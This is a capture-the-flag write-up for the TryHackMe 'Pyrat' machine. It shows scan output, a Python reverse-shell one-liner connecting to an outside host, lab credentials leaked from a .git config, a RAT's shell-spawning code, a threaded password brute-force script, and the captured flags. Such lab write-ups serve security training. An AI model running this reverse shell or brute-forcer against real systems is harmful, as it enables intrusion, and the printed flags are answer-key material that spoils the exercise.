TryHackMe - Pyrat
Pyrat
Test your enumeration skills on this boot-to-root machine.
About
Pyrat receives a curious response from an HTTP server, which leads to a potential Python code execution vulnerability. With a cleverly crafted payload, it is possible to gain a shell on the machine. Delving into the directories, the author uncovers a well-known folder that provides a user with access to credentials. A subsequent exploration yields valuable insights into the application’s older version. Exploring possible endpoints using a custom script, the user can discover a special endpoint and ingeniously expand their exploration by fuzzing passwords. The script unveils a password, ultimately granting access to the root.
Enumeration
nmap and rustscan:
Rustscan
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
rustscan -a 10.10.132.126 ─╯
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
I don't always scan ports, but when I do, I prefer RustScan.
[~] The config file is expected to be at "/Users/manavallan/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 10.10.132.126:22
Open 10.10.132.126:8000
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-22 14:31 IST
Initiating Ping Scan at 14:31
Scanning 10.10.132.126 [2 ports]
Completed Ping Scan at 14:31, 0.15s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 14:31
Completed Parallel DNS resolution of 1 host. at 14:31, 0.01s elapsed
DNS resolution of 1 IPs took 0.03s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating Connect Scan at 14:31
Scanning 10.10.132.126 [2 ports]
Discovered open port 8000/tcp on 10.10.132.126
Discovered open port 22/tcp on 10.10.132.126
Completed Connect Scan at 14:31, 0.15s elapsed (2 total ports)
Nmap scan report for 10.10.132.126
Host is up, received conn-refused (0.15s latency).
Scanned at 2025-01-22 14:31:13 IST for 0s
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack
8000/tcp open http-alt syn-ack
Read data files from: /opt/homebrew/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.36 seconds
nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
nmap -sC -sV -Pn 10.10.132.126 ─╯
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-22 14:28 IST
Stats: 0:03:40 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.65% done; ETC: 14:32 (0:00:00 remaining)
Nmap scan report for 10.10.132.126
Host is up (0.15s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA)
| 256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA)
|_ 256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519)
4321/tcp filtered rwhois
8000/tcp open http-alt SimpleHTTP/0.6 Python/3.11.2
|_http-server-header: SimpleHTTP/0.6 Python/3.11.2
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, JavaRMI, LANDesk-RC, NotesRPC, Socks4, X11Probe, afp, giop:
| source code string cannot contain null bytes
| FourOhFourRequest, LPDString, SIPOptions:
| invalid syntax (<string>, line 1)
| GetRequest:
| name 'GET' is not defined
| HTTPOptions, RTSPRequest:
| name 'OPTIONS' is not defined
| Help:
|_ name 'HELP' is not defined
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8000-TCP:V=7.95%I=7%D=1/22%Time=6790B36C%P=arm-apple-darwin23.4.0%r
SF:(GenericLines,1,"\n")%r(GetRequest,1A,"name\x20'GET'\x20is\x20not\x20de
SF:fined\n")%r(X11Probe,2D,"source\x20code\x20string\x20cannot\x20contain\
SF:x20null\x20bytes\n")%r(FourOhFourRequest,22,"invalid\x20syntax\x20\(<st
SF:ring>,\x20line\x201\)\n")%r(Socks4,2D,"source\x20code\x20string\x20cann
SF:ot\x20contain\x20null\x20bytes\n")%r(HTTPOptions,1E,"name\x20'OPTIONS'\
SF:x20is\x20not\x20defined\n")%r(RTSPRequest,1E,"name\x20'OPTIONS'\x20is\x
SF:20not\x20defined\n")%r(DNSVersionBindReqTCP,2D,"source\x20code\x20strin
SF:g\x20cannot\x20contain\x20null\x20bytes\n")%r(DNSStatusRequestTCP,2D,"s
SF:ource\x20code\x20string\x20cannot\x20contain\x20null\x20bytes\n")%r(Hel
SF:p,1B,"name\x20'HELP'\x20is\x20not\x20defined\n")%r(LPDString,22,"invali
SF:d\x20syntax\x20\(<string>,\x20line\x201\)\n")%r(SIPOptions,22,"invalid\
SF:x20syntax\x20\(<string>,\x20line\x201\)\n")%r(LANDesk-RC,2D,"source\x20
SF:code\x20string\x20cannot\x20contain\x20null\x20bytes\n")%r(NotesRPC,2D,
SF:"source\x20code\x20string\x20cannot\x20contain\x20null\x20bytes\n")%r(J
SF:avaRMI,2D,"source\x20code\x20string\x20cannot\x20contain\x20null\x20byt
SF:es\n")%r(afp,2D,"source\x20code\x20string\x20cannot\x20contain\x20null\
SF:x20bytes\n")%r(giop,2D,"source\x20code\x20string\x20cannot\x20contain\x
SF:20null\x20bytes\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 221.50 seconds
nmap full port scan didn’t yield much results.
Summary of nmap and rustscan:
- 4321/tcp filtered rwhois
- 8000/tcp open http-alt SimpleHTTP/0.6 Python/3.11.2
Dirsearch - No interesting information
1
2
3
4
5
6
7
8
9
10
11
12
python3 dirsearch.py -u http://10.10.132.126:8000 ─╯
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, asp, aspx, jsp, html, htm | HTTP method: GET | Threads: 25 | Wordlist size: 12288
Target: http://10.10.132.126:8000/
[14:40:35] Scanning:
Task Completed
Google search and surfs
CVE: CVE-2023-24329
Description: An issue in the
urllib.parse
component of Python before 3.11.4 allows attackers to bypass blocklisting methods by supplying a URL that starts with blank characters. Vendor: Python Software Foundation Version:=> 3.11.3
POC: Link
Reverse shell
- With some tweaking, I was able to understand that there is a netcat session on a port 8000 and is running python.
After multiple tries of reverse shell attempts and some support from chatgpt I got the code which gets me a reverse shell.
1
python3 -c ' import socket import os import pty # Create a socket connection s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("10.17.54.233", 8090)) # Redirect socket file descriptor to stdin, stdout, and stderr os.dup2(s.fileno(), 0) # stdin os.dup2(s.fileno(), 1) # stdout os.dup2(s.fileno(), 2) # stderr # Optionally adjust terminal settings (useful for interactive shells) os.system("stty raw -echo; fg") # Spawn an interactive shell pty.spawn("/bin/bash") # Using bash instead of sh '
Reverse shell received for user: www-data@pyrat
Enumeration on the machine
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
www-data@Pyrat:/$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
think:x:1000:1000:,,,:/home/think:/bin/bash
fwupd-refresh:x:113:117:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
postfix:x:114:119::/var/spool/postfix:/usr/sbin/nologin
Found User: think
Hint: Delving into the directories, the author uncovers a well-known folder that provides a user with access to credentials.
1
2
3
4
5
6
7
8
9
10
11
12
www-data@Pyrat:/$ env
env
SHELL=/bin/sh
PWD=/
LOGNAME=root
HOME=/root
LANG=en_US.UTF-8
TERM=xterm
SHLVL=2
PATH=/usr/bin:/bin
_=/usr/bin/env
OLDPWD=/dev
No clues for 20 mins of enumeration. Then thought of checking the /opt
folder and I’m lucky in that.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
www-data@Pyrat:/$ cd /opt
cd /opt
www-data@Pyrat:/opt$ ls -la
ls -la
total 12
drwxr-xr-x 3 root root 4096 Jun 21 2023 .
drwxr-xr-x 18 root root 4096 Dec 22 2023 ..
drwxrwxr-x 3 think think 4096 Jun 21 2023 dev
www-data@Pyrat:/opt$ cd dev
cd dev
www-data@Pyrat:/opt/dev$ ls -la
ls -la
total 12
drwxrwxr-x 3 think think 4096 Jun 21 2023 .
drwxr-xr-x 3 root root 4096 Jun 21 2023 ..
drwxrwxr-x 8 think think 4096 Jun 21 2023 .git
www-data@Pyrat:/opt/dev$ cd .git
cd .git
www-data@Pyrat:/opt/dev/.git$ ls -la
ls -la
total 52
drwxrwxr-x 8 think think 4096 Jun 21 2023 .
drwxrwxr-x 3 think think 4096 Jun 21 2023 ..
drwxrwxr-x 2 think think 4096 Jun 21 2023 branches
-rw-rw-r-- 1 think think 21 Jun 21 2023 COMMIT_EDITMSG
-rw-rw-r-- 1 think think 296 Jun 21 2023 config
-rw-rw-r-- 1 think think 73 Jun 21 2023 description
-rw-rw-r-- 1 think think 23 Jun 21 2023 HEAD
drwxrwxr-x 2 think think 4096 Jun 21 2023 hooks
-rw-rw-r-- 1 think think 145 Jun 21 2023 index
drwxrwxr-x 2 think think 4096 Jun 21 2023 info
drwxrwxr-x 3 think think 4096 Jun 21 2023 logs
drwxrwxr-x 7 think think 4096 Jun 21 2023 objects
drwxrwxr-x 4 think think 4096 Jun 21 2023 refs
www-data@Pyrat:/opt/dev/.git$ cat config
cat config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[user]
name = Jose Mario
email = josemlwdf@github.com
[credential]
helper = cache --timeout=3600
[credential "https://github.com"]
username = think
password = _TH1NKINGPirate$_
Finger-crossed on verifying the think user credentials think
: _TH1NKINGPirate$_
Successful :)
Privilege Escalation from ‘think’
Got the user flag: 996bdb1f619a68361417cabca5454705
Trying sudo -l
1
2
3
4
5
think@Pyrat:~$ sudo -l
sudo -l
[sudo] password for think: _TH1NKINGPirate$_
Sorry, user think may not run sudo on pyrat.
Trying linpeas.sh
> Summary of LinPeas.sh
1
2
3
4
5
Vulnerable to CVE-2021-3560
www-data@Pyrat:/opt/dev/.git$
program in the /root/pyrat.p
Checking the user’s emails, we come across an interesting message mentioning a RAT program running on the machine.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
think@Pyrat:~$ cat /var/mail/think
From root@pyrat Thu Jun 15 09:08:55 2023
Return-Path: <root@pyrat>
X-Original-To: think@pyrat
Delivered-To: think@pyrat
Received: by pyrat.localdomain (Postfix, from userid 0)
id 2E4312141; Thu, 15 Jun 2023 09:08:55 +0000 (UTC)
Subject: Hello
To: <think@pyrat>
X-Mailer: mail (GNU Mailutils 3.7)
Message-Id: <20230615090855.2E4312141@pyrat.localdomain>
Date: Thu, 15 Jun 2023 09:08:55 +0000 (UTC)
From: Dbile Admen <root@pyrat>
Hello jose, I wanted to tell you that i have installed the RAT you posted on your GitHub page, i'll test it tonight so don't be scared if you see it running. Regards, Dbile Admen
Going back to the git repository and checking the commits made, we see a single commit.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
think@Pyrat:/opt/dev$ git show 0a3c36d66369fd4b07ddca72e5379461a63470bf
commit 0a3c36d66369fd4b07ddca72e5379461a63470bf (HEAD -> master)
Author: Jose Mario <josemlwdf@github.com>
Date: Wed Jun 21 09:32:14 2023 +0000
Added shell endpoint
diff --git a/pyrat.py.old b/pyrat.py.old
new file mode 100644
index 0000000..ce425cf
--- /dev/null
+++ b/pyrat.py.old
@@ -0,0 +1,27 @@
+...............................................
+
+def switch_case(client_socket, data):
+ if data == 'some_endpoint':
+ get_this_enpoint(client_socket)
+ else:
+ # Check socket is admin and downgrade if is not aproved
+ uid = os.getuid()
+ if (uid == 0):
+ change_uid()
+
+ if data == 'shell':
+ shell(client_socket)
+ else:
+ exec_python(client_socket, data)
+
+def shell(client_socket):
+ try:
+ import pty
+ os.dup2(client_socket.fileno(), 0)
+ os.dup2(client_socket.fileno(), 1)
+ os.dup2(client_socket.fileno(), 2)
+ pty.spawn("/bin/sh")
+ except Exception as e:
+ send_data(client_socket, e
+
+...............................................
# Check socket is admin and downgrade if is not aproved
This suggests that there is an admin endpoint.
Let’s check the webapp, and then telnet.
1
2
3
4
netcat 10.10.101.128 8000 ─╯
admin
Password:
Bruteforce python script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#!/usr/bin/env python3
from pwn import remote, context
import threading
target_ip = "10.10.101.128"
target_port = 8000
wordlist = "/usr/share/seclists/Passwords/500-worst-passwords.txt"
stop_flag = threading.Event()
num_threads = 100
def brute_force_pass(passwords):
context.log_level = "error"
r = remote(target_ip, target_port)
for i in range(len(passwords)):
if stop_flag.is_set():
r.close()
return
if i % 3 == 0:
r.sendline(b"admin")
r.recvuntil(b"Password:\n")
r.sendline(passwords[i].encode())
try:
if b"shell" in r.recvline(timeout=0.5):
stop_flag.set()
print(f"[+] Password found: {passwords[i]}")
r.close()
return
except:
pass
r.close()
return
def main():
passwords = [line.strip() for line in open(wordlist, "r").readlines()]
passwords_length = len(passwords)
step = (passwords_length + num_threads - 1) // num_threads
threads = []
for i in range(num_threads):
start = i * step
end = min(start + step, passwords_length)
if start < passwords_length:
thread = threading.Thread(target=brute_force_pass, args=(passwords[start:end],))
threads.append(thread)
thread.start()
for thread in threads:
thread.join()
if __name__ == "__main__":
main()
If you are using a mac m1 or above, use a python environment to run the brute force script. Also have this package installed:
brew install cmake
Needed packages in pip installation:
- capstone
- pwntools
1
2
3
python3 brute.py ─╯
[+] Password found: abc123
Privilege Escalated
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
admin
Password:
abc123
Welcome Admin!!! Type "shell" to begin
shell
# id
id
uid=0(root) gid=0(root) groups=0(root)
# ls -la
ls -la
total 68
drwxrwx--- 7 root root 4096 Apr 15 2024 .
drwxr-xr-x 18 root root 4096 Dec 22 2023 ..
lrwxrwxrwx 1 root root 9 Jun 2 2023 .bash_history -> /dev/null
-rwxrwx--- 1 root root 3230 Jun 21 2023 .bashrc
drwx------ 2 root root 4096 Jun 21 2023 .cache
drwx------ 3 root root 4096 Dec 22 2023 .config
-rw-r--r-- 1 root root 29 Jun 21 2023 .gitconfig
drwxr-xr-x 3 root root 4096 Jan 4 2024 .local
-rwxrwx--- 1 root root 161 Dec 5 2019 .profile
-rwxr-xr-x 1 root root 5360 Apr 15 2024 pyrat.py
-rw-r----- 1 root root 33 Jun 15 2023 root.txt
-rw-r--r-- 1 root root 75 Jun 15 2023 .selected_editor
drwxrwx--- 3 root root 4096 Jun 2 2023 snap
drwxrwx--- 2 root root 4096 Jun 2 2023 .ssh
-rw-rw-rw- 1 root root 10561 Apr 15 2024 .viminfo
# cat root.txt
cat root.txt
ba5ed03e9e74bb98054438480165e221
#
Root flag: ba5ed03e9e74bb98054438480165e221